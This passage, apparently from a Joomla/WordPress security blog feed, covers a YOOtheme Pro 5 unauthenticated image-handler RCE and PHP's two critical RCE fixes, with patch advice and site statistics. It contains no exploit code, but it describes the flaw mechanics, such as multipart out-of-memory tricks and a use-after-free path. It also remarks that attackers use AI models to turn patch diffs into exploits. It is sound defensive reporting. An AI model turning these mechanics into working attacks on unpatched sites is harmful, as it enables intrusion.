&lt;p&gt;The flaw is in the image handler, the public route YOOtheme Pro uses to generate and cache resized and cropped images. The image URLs YOOtheme Pro generates on a site’s pages point at it, and any visitor can reach it without logging in. That is what makes this different from the two earlier YOOtheme Pro 5 security releases this year, 5.0.41 and 5.0.42 in August, which each fixed flaws that needed a privileged account.&lt;/p&gt;
&lt;p&gt;Comparing the 5.0.52 and 5.0.53 packages shows what changed. In 5.0.52 the handler let the request choose which image operations to run, and it did not tie the cache file name it writes to the signed image URL. In 5.0.53 the operations are limited to a fixed list (type, crop, resize, rotate, flip and thumbnail), and the handler checks that the cache file name matches the signed URL before writing anything. Put the two together and in 5.0.52 a request could influence both what was written and where, with no account on the site. YOOtheme calls that remote code execution, and we have no reason to disagree.&lt;/p&gt;
&lt;p&gt;That is as far as we will go. The record is not published, the patch is hours old, and a worked example would help the wrong people more than it would help you.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor&apos;s own code runs on your server, with the same access as the website itself: reading, changing or deleting any file it can touch, planting a backdoor that survives the next update, installing malware, pulling every database credential and API key from your configuration, and using your server to attack other people. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The image handler is a public endpoint on any site running YOOtheme Pro 5, so an unpatched site is exposed to anyone who can load a page on it. Treat every site still on 5.0.52 or earlier as exposed until it is on 5.0.53, and check it for signs of tampering once it is.&lt;/p&gt;
&lt;h2&gt;Why YOOtheme Pro 4 Joomla sites are not affected&lt;/h2&gt;
&lt;p&gt;YOOtheme’s notice says YOOtheme Pro 4 and earlier are not affected. So the first job is a version check: a site still on YOOtheme Pro 4 has nothing to do for this issue, and a site on any 5.0.x build from 5.0.0 to 5.0.52 needs the update.&lt;/p&gt;
&lt;p&gt;YOOtheme publishes one changelog for both its Joomla and WordPress editions, and 5.0.53 is the release for both, so a WordPress site running YOOtheme Pro 5 needs the same update.&lt;/p&gt;
&lt;h2&gt;mySites.guru flags affected YOOtheme Pro 5 Joomla sites&lt;/h2&gt;
&lt;p&gt;If you connect your Joomla sites to mySites.guru, the version check is done for you. A detection rule flags every connected Joomla site running YOOtheme Pro 5.0.0 to 5.0.52, so a site snapshot raises an alert telling you to update. The rule matches both the YOOtheme template and its system plugin, because YOOtheme Pro installs as both and updating YOOtheme Pro updates both. YOOtheme Pro appears in the &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla Vulnerability Database&lt;/a&gt; alongside the other extensions we track, and the alert clears once a later snapshot sees 5.0.53 or later.&lt;/p&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, the value is the list: one place that says which sites are still on an affected build. See &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; for how the rest of the workflow fits together, and a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free site audit&lt;/a&gt; shows the same finding on a site you have not connected yet.&lt;/p&gt;
&lt;h2&gt;The first attacks reuse droppers mySites.guru already detects&lt;/h2&gt;
&lt;p&gt;In the first sites we have seen hit, before the patch and in the hours after it, the attackers are not writing anything new. They are dropping the same files we have caught for years from JCE upload attacks: the same web shells, the same backdoors. A working dropper gets reused; only the hole it comes through changes.&lt;/p&gt;
&lt;p&gt;Because mySites.guru matches the file itself, not the route it arrived by, a site hit through this flaw shows up with no new configuration from us. Every audit reads every file on every connected site and matches each one two ways. &lt;a href=&quot;https://mysites.guru/tools/file-information/suspect-content/&quot;&gt;Suspect content&lt;/a&gt; matches on the file’s content, against our library of hand-written hack patterns, and catches a dropper the moment it is scanned, before anyone has confirmed it. &lt;a href=&quot;https://mysites.guru/tools/file-information/hacked-files/&quot;&gt;Hacked files&lt;/a&gt; matches on the file’s hash, against the files already confirmed hacked, and an identical hash is a certain match. A dropper reused from an older campaign is already in both. &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect content and Hacked files&lt;/a&gt; sets out how the two work together.&lt;/p&gt;
&lt;p&gt;So the detection was in place before this flaw was disclosed. We did not write a YOOtheme rule for the droppers, because the checks that find these files were already running on every site we monitor. The same patterns and hashes that caught them under JCE catch them under YOOtheme.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/hackedfiles&quot;&gt;Find files that match known hacks&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/hackedfiles&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What Joomla site owners running YOOtheme Pro 5 should do now&lt;/h2&gt;
&lt;p&gt;Update to 5.0.53 or later, on every affected site, now. There is no partial mitigation, so the update is the fix.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Confirm which sites run YOOtheme Pro 5. Any build from 5.0.0 to 5.0.52 is affected; Pro 4 and earlier need no action.&lt;/li&gt;
&lt;li&gt;Take a fresh &lt;a href=&quot;https://mysites.guru/website-backups/&quot;&gt;backup&lt;/a&gt; of every affected site before updating. A backup is also your record of what the site looked like before any tampering.&lt;/li&gt;
&lt;li&gt;Update every YOOtheme Pro 5 site to 5.0.53 or later immediately. The flaw needs no login, so every unpatched site is equally exposed. Update them in one window rather than the important ones first and the rest next week.&lt;/li&gt;
&lt;li&gt;Check each site for signs of tampering after updating. The flaw was exploitable before the patch, so look for files that should not be there, such as unexpected PHP files in images, cache or media folders, and for anything changed recently. Run a mySites.guru audit on each site and read what it finds.&lt;/li&gt;
&lt;li&gt;Re-snapshot each site in mySites.guru afterwards so the alert clears and the record shows the site on 5.0.53 or later.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Joomla page builders are a high-value target when no login is needed&lt;/h2&gt;
&lt;p&gt;A template framework like YOOtheme Pro sits on every page of a site and handles uploads, images and layouts for logged-in editors. When any of that handling can be reached without a login, it becomes a public endpoint on each site that runs the extension, and attackers treat it exactly that way. The same lesson came from &lt;a href=&quot;https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/&quot;&gt;ZOO’s unauthenticated file upload&lt;/a&gt;, another YOOtheme extension, and from the long run of extension disclosures collected in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla security disclosures&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So an available update to a template or page builder belongs on the security list, and &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-update-security-flag/&quot;&gt;why an extension update is a security flag&lt;/a&gt; makes that case in full. The window between a fix going public and the flaw being widely understood is short, so if you have been meaning to set up &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for Joomla extensions&lt;/a&gt;, this release is a good test of whether the process you have is fast enough.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-10-20&lt;/strong&gt; YOOtheme gives advance notice of a critical YOOtheme Pro 5 security update The vendor tells customers a critical fix is due the next day and that YOOtheme Pro 4 and earlier are not affected. mySites.guru adds a detection rule for YOOtheme Pro 5 the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-21&lt;/strong&gt; YOOtheme releases 5.0.53 and names CVE-2026-102785 in the changelog The changelog entry reads: Fix unauthenticated remote code execution via image handler. Update every YOOtheme Pro 5 site to 5.0.53 or later immediately.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-22&lt;/strong&gt; Exploitation is underway, reusing droppers already known from JCE attacks The first sites hit, before and after the patch, are dropping the same web shells and backdoors seen in older JCE upload attacks. mySites.guru flags them through its existing &lt;a href=&quot;https://mysites.guru/tools/file-information/suspect-content/&quot;&gt;Suspect content&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/tools/file-information/hacked-files/&quot;&gt;Hacked files&lt;/a&gt; checks, with no new rule needed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://yootheme.com/support/yootheme-pro/changelog&quot;&gt;YOOtheme Pro changelog&lt;/a&gt; - the 5.0.53 entry naming CVE-2026-102785&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/yootheme/&quot;&gt;YOOtheme Pro in the mySites.guru Joomla Vulnerability Database&lt;/a&gt; - the entry that flags sites running 5.0.0 to 5.0.52&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-update-security-flag/&quot;&gt;Treat an available Joomla extension update as a security flag&lt;/a&gt; - why an extension update you have not applied is a security finding, not a chore&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>vulnerability</category><category>yootheme</category><category>template</category><enclosure url="https://mysites.guru/img/og/blog/yootheme-pro-5-critical-security-update.png" length="0" type="image/png"/></item><item><title>PHP&apos;s Critical Security Release and Your Joomla or WordPress Site</title><link>https://mysites.guru/blog/php-critical-security-release-joomla-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/php-critical-security-release-joomla-wordpress/</guid><description>PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35 fix two unauthenticated RCE flaws. Your host applies the update to your Joomla or WordPress site; 8.1 and older get none.</description><pubDate>Tue, 20 Oct 2026 20:52:25 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;Updated 21 October: the fix is out&lt;/p&gt;&lt;div&gt;&lt;p&gt;PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35 fix CVE-2026-109618 and CVE-2026-109619, both now confirmed as unauthenticated remote code execution. Updating is the only complete fix. PHP 8.1 and older get no official release.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;On 20 October 2026 the PHP security team posted &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-20-1&quot;&gt;advance notice of a critical security release&lt;/a&gt;, with the details, the affected versions and the fixed versions held back. On 21 October, a little before the announced 14:00 UTC, the release went out: &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35&lt;/a&gt;, fixing two vulnerabilities rated CVSS v4.0 9.2 that PHP describes as able to “allow unauthenticated remote code execution”.&lt;/p&gt;
&lt;p&gt;For anyone running Joomla or WordPress, there is a catch. On almost every hosting account the owner does not apply PHP updates, the host does, and the host only does it for PHP branches that still receive fixes. So the useful question is not just “patch now”. It is “is my site on a PHP branch that has this fix at all, and has my host actually applied it”. That is what this post answers.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;PHP published 8.5.12, 8.4.27, 8.3.36 and 8.2.35 on 21 October 2026, fixing CVE-2026-109618 and CVE-2026-109619. Both are rated CVSS v4.0 9.2, and PHP has confirmed both as unauthenticated remote code execution.&lt;/li&gt;
&lt;li&gt;CVE-2026-109618 is memory corruption triggered by pushing a request out of memory, mainly through multipart upload parsing. CVE-2026-109619 is stale request state left behind on a worker and reused by a later request.&lt;/li&gt;
&lt;li&gt;Every PHP setup that serves web requests is in scope. The risk is highest for Apache with mod_php, where an unauthenticated request can trigger the attack before any application code runs.&lt;/li&gt;
&lt;li&gt;PHP 8.1 and older get no official release. The PHP project published source-only backports for 7.4, 8.0 and 8.1, with no binaries, and some distributions and LTS vendors backport the fix into their own packages.&lt;/li&gt;
&lt;li&gt;You usually cannot apply it yourself. PHP is installed and updated by your host, and your control panel only offers what the host has installed.&lt;/li&gt;
&lt;li&gt;Across the live sites we monitor, 22.7% run PHP 8.1 or older. For those, no patched build is coming from PHP.&lt;/li&gt;
&lt;li&gt;Check which version every site you look after reports, chase the host where the fixed release is not on yet, and plan the version upgrade where there is no fixed release to wait for.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;The fixed releases exist, and you cannot download them yourself, because PHP is set by your host. Check which PHP version each of your sites reports. If a site is on 8.2, 8.3, 8.4 or 8.5 and not yet on 8.2.35, 8.3.36, 8.4.27 or 8.5.12, ask your host when the patched release goes on, and select it in the control panel as soon as it appears there. If a site is on 8.1 or older, no official release exists, and the real fix is a version upgrade you should plan now.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the Two Flaws Are, in Plain English&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;PHP’s advisory&lt;/a&gt; puts both vulnerabilities at CVSS v4.0 9.2 and says they “can allow unauthenticated remote code execution”. Its risk assessment covers “all PHP installations serving web requests, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP and LiteSpeed”, and considers the risk highest for mod_php, “with a demonstrated exploit where an unauthenticated request can trigger the attack before any application code runs”. For a Joomla or WordPress site, that last clause means nothing the CMS does is in the way.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w&quot;&gt;CVE-2026-109618&lt;/a&gt; is described as RCE via out-of-memory corruption. When PHP runs out of memory part way through setting up a request, its internal request data can be left only partially initialised, and the cleanup that follows may then treat invalid data as valid. The advisory says several multipart parsing behaviours can push a request into out-of-memory while staying within PHP’s apparent limits: requests with no usable Content-Length slipping past &lt;code&gt;post_max_size&lt;/code&gt;, no cap on headers per multipart part, empty file fields not counting toward &lt;code&gt;max_file_uploads&lt;/code&gt;, and nested field names. The result can be code execution as the web worker account. It is validated over HTTP against mod_php with default limits, and the advisory lists FrankenPHP as susceptible too. PHP-FPM is considered susceptible from source analysis, with no complete FPM exploit demonstrated.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp&quot;&gt;CVE-2026-109619&lt;/a&gt; is described as RCE via stale global state. State belonging to one request is still referenced after its memory is freed, and a later request on the same worker uses it before normal initialisation has happened, a use-after-free. Exploiting it takes a “producer” request that leaves the state behind and a “consumer” in a later request on the same worker. The advisory confirms two consumers: INI diagnostics applied before request initialisation (a deprecated or invalid &lt;code&gt;php_value&lt;/code&gt; in a &lt;code&gt;.htaccess&lt;/code&gt; file under mod_php, for example), and session upload progress handling. The session upload progress route to code execution is validated against both mod_php and PHP-FPM. The strongest case is &lt;code&gt;fatal_error_backtraces&lt;/code&gt; on PHP 8.5 under mod_php, which produces the kind of stale state the bug needs, and it was on by default on the PHP 8.5 installs we checked.&lt;/p&gt;
&lt;p&gt;One correction to the chatter from the days before the release: session upload progress is one confirmed path into CVE-2026-109619, not the whole bug, and it has nothing to do with CVE-2026-109618. The two flaws are separate, which is why PHP’s own wording is that “there are no complete mitigations, updating is the only safe choice”.&lt;/p&gt;
&lt;p&gt;The patched builds went out as point releases on 8.2.x, 8.3.x, 8.4.x and 8.5.x. PHP 8.6 is still in release-candidate testing, no 8.6 line has the fix, and there is no 8.6.0RC4, so anyone running an 8.6 release candidate is unpatched.&lt;/p&gt;
&lt;h2&gt;The Internet Was on Fire (Well, Social Media Was)&lt;/h2&gt;
&lt;p&gt;Between the notice and the release, the loudest thing about this one was everyone except PHP. The security team had reserved the right to release early if details became public or if exploitation was seen in the wild, both were claimed within hours, and the release still went out on the day PHP named, about 25 minutes ahead of 14:00 UTC rather than a day early.&lt;/p&gt;
&lt;p&gt;A taste of what did the rounds. &lt;a href=&quot;https://cyberplace.social/@GossiTheDog/117474220875882526&quot;&gt;Kevin Beaumont noted&lt;/a&gt; that someone leaked the two CVE IDs before the patch was out. &lt;a href=&quot;https://sansec.io/research/php2shell&quot;&gt;Sansec reported&lt;/a&gt; a screenshot of an exploit tool called “PHP2Shell”, with a banner claiming it works against every PHP release since 5.4.0, and predicted mass attacks within fifteen minutes of the release. A write-up claiming to describe the bug circulated with a proof of concept that may have been broken. &lt;a href=&quot;https://www.huntress.com/blog/php2shell-leaked-critical-php-vulnerabilities&quot;&gt;Huntress, writing on 20 October&lt;/a&gt;, had seen no in-the-wild exploitation and knew of no public exploit code. &lt;a href=&quot;https://cert.europa.eu/publications/security-advisories/2026-018/&quot;&gt;CERT-EU’s advisory&lt;/a&gt; had the sober version: no technical details public, and the “all PHP versions from 5 onwards” line came from leaks.&lt;/p&gt;
&lt;p&gt;Then &lt;a href=&quot;https://x.com/dok2001/status/2112811965735202970&quot;&gt;Cloudflare’s CTO posted at 07:43 UTC on 21 October&lt;/a&gt; that they were “seeing early attacks emerging”, while calling their WAF rules “a STOPGAP only” and telling everyone to patch at 14:00. Whether anyone was really being exploited is still disputed as we publish: Hadrian claims exploitation “at scale”, Germany’s BSI says no attack has been confirmed, and none of them has published evidence. &lt;a href=&quot;https://ma.ttias.be/php-cve-2026-109618-early-mitigation/&quot;&gt;Mattias Geniar’s round-up&lt;/a&gt; keeps the confirmed and the unconfirmed apart. Now that the advisories are public, the leak’s upload-progress claim turns out to have been partly right: session upload progress is a confirmed path into one of the two bugs, not the mechanism of both.&lt;/p&gt;
&lt;p&gt;On those Cloudflare rules, which went out on every plan including Free: a WAF in front of a site only helps if the server behind it rejects traffic that bypasses Cloudflare. A server that answers requests sent straight to its IP address is reachable without the WAF, and the rules are a stopgap by Cloudflare’s own description, not a substitute for the update.&lt;/p&gt;
&lt;p&gt;Our view, and we cannot prove it, is that what has changed is how little time an attacker now needs. A pre-announcement like this used to buy defenders a comfortable head start, because turning “two critical bugs, details withheld” into a working exploit meant a skilled human reading code for days. Now an attacker can have a script ready, point a model at the pre-announcement post and the leaked chatter, then at the patch diff the moment it is published, and have a candidate flaw in minutes, maybe seconds. The gap between a fix going public and an exploit going public used to be measured in weeks. We no longer assume there is a gap at all.&lt;/p&gt;
&lt;h2&gt;Why a PHP Flaw Matters to Every Joomla and WordPress Site&lt;/h2&gt;
&lt;p&gt;PHP is the engine every Joomla and WordPress page runs through. Every request a site serves, from a logged-out visitor loading the home page to an administrator saving an article, is executed by the PHP interpreter on the server. A flaw in the interpreter therefore sits underneath all of the normal traffic a site already handles, below the CMS, its plugins and extensions, and any security layer that lives in application code.&lt;/p&gt;
&lt;p&gt;The release confirmed the worst reading of that. Under mod_php, PHP has a demonstrated exploit where an unauthenticated request triggers the attack before any application code runs, which means no WordPress security plugin, no Joomla access rule and no login screen is involved. CVE-2026-109618 is validated over HTTP against mod_php with default limits, and the session upload progress route into CVE-2026-109619 is validated against both mod_php and PHP-FPM. A pair of 9.2 vulnerabilities in the layer under every site you run, reachable without an account, is the case for treating the host’s update as urgent rather than routine. The Joomla project took the same view of its own servers and took joomla.org offline on 21 October, downloads and update services included; &lt;a href=&quot;https://mysites.guru/blog/joomla-org-offline-php-security-releases/&quot;&gt;what the joomla.org outage means for your Joomla sites&lt;/a&gt; has its own post.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;PHP belongs to your host, not your CMS&lt;/p&gt;&lt;div&gt;&lt;p&gt;There is no PHP version setting inside WordPress or Joomla. The version your pages run on is chosen on the server, so the fix for a PHP flaw is applied by whoever runs that server. Your job is to know which of your sites are exposed and to make your host act.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Which PHP Versions Got the Fix?&lt;/h2&gt;
&lt;p&gt;PHP 8.2, 8.3, 8.4 and 8.5 all received a fixed point release. PHP 8.1 and anything older did not get an official release. Critical security fixes go to both the actively supported branches and the security-only branches, which is why 8.2 and 8.3 are included even though their active support has ended. The &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;supported versions timetable&lt;/a&gt; on php.net shows the exact dates for each branch, and the &lt;a href=&quot;https://www.php.net/eol.php&quot;&gt;end-of-life page&lt;/a&gt; lists every branch that has fallen off it.&lt;/p&gt;
&lt;p&gt;PHP 8.2 users should notice how close to the edge they are. Its security window closes on 31 December 2026, so it got this fix but may not get the next one, and a site on 8.2 should already have a move to 8.3 or newer in the plan.&lt;/p&gt;


















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;PHP branch&lt;/th&gt;&lt;th&gt;Status on 21 October 2026&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;8.5&lt;/td&gt;&lt;td&gt;Active support&lt;/td&gt;&lt;td&gt;8.5.12&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;td&gt;Active support&lt;/td&gt;&lt;td&gt;8.4.27&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;Security fixes only&lt;/td&gt;&lt;td&gt;8.3.36&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.2&lt;/td&gt;&lt;td&gt;Security fixes only, ends 31 December 2026&lt;/td&gt;&lt;td&gt;8.2.35&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.1&lt;/td&gt;&lt;td&gt;End of life since 31 December 2025&lt;/td&gt;&lt;td&gt;No official release; source-only backport branch&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.0&lt;/td&gt;&lt;td&gt;End of life&lt;/td&gt;&lt;td&gt;No official release; source-only backport branch&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7.4&lt;/td&gt;&lt;td&gt;End of life&lt;/td&gt;&lt;td&gt;No official release; source-only backport branch&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7.3 and older&lt;/td&gt;&lt;td&gt;End of life&lt;/td&gt;&lt;td&gt;Nothing&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The end-of-life rows need explaining, because “source-only backport branch” is a new thing. The PHP security team published &lt;a href=&quot;https://github.com/php/php-src/commit/1d7dec178a094e6e75b229ce22754045f8c6070a&quot;&gt;minimal source backports&lt;/a&gt; for 7.4, 8.0 and 8.1, on branches named &lt;code&gt;PHP-7.4-CVE-2026-109618-109619&lt;/code&gt;, &lt;code&gt;PHP-8.0-CVE-2026-109618-109619&lt;/code&gt; and &lt;code&gt;PHP-8.1-CVE-2026-109618-109619&lt;/code&gt;, described as a “minimal mitigation for EOL version”. They exist to help people who build PHP from source or have no LTS vendor. There are no tagged releases and no binaries, so nothing a shared host’s control panel can offer, and PHP’s advice for 8.1 and older is unchanged: “some distributions and LTS vendors provide backported fixes, so contact your vendor for details, or upgrade to a supported version”. Linux distributions and LTS vendors received the patches in advance, so a distribution package may well include the fix, but that is the vendor’s work and the vendor’s timetable. For a site on an end-of-life branch, the plan should still be the move to a supported one.&lt;/p&gt;
&lt;p&gt;One thing trips people up here. Being on the right branch is only half of it; the other half is the patch level within that branch, and a site on 8.4 that the host has not updated for a year can be further behind than a site on 8.3 that was patched last week. The full explanation of &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;branches versus patch levels, and why the higher PHP number can be the more out-of-date one&lt;/a&gt;, is in its own post.&lt;/p&gt;
&lt;h2&gt;What Our Monitoring Shows About PHP Right Now&lt;/h2&gt;
&lt;p&gt;The figures below come from live Joomla and WordPress sites under active management, measured on 20 October 2026: agencies run their clients’ production sites through mySites.guru, so this is what real hosting looks like today, not a public survey of people who chose to answer.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;PHP versions on the Joomla and WordPress sites we monitor&lt;/p&gt;&lt;p&gt;Every live site by the PHP branch it runs, grouped by whether that branch will get this release. Measured 20 October 2026.&lt;/p&gt;&lt;div&gt;All sitesJoomla sitesWordPress sites&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;On a supported branch, so this fix reaches them: 77.3%&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;PHP 8.5&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;9.8%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.4&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;21.2%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.3&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;33.0%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.2&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;13.3%&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;End of life, so no patched build is coming: 22.7%&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;PHP 8.1&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;4.4%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.0&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;1.7%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 7.4&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;13.8%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;7.3 or older&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;2.8%&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;On a supported branch, so this fix reaches them: 76.2%&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;PHP 8.5&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;9.2%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.4&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;22.1%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.3&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;32.7%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.2&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;12.2%&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;End of life, so no patched build is coming: 23.9%&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;PHP 8.1&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;3.0%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.0&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;1.8%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 7.4&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;15.8%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;7.3 or older&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;3.3%&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;On a supported branch, so this fix reaches them: 82.0%&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;PHP 8.5&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;11.7%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.4&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;18.4%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.3&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;34.6%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.2&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;17.3%&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;End of life, so no patched build is coming: 18.0%&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;PHP 8.1&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;9.0%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 8.0&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;1.2%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;PHP 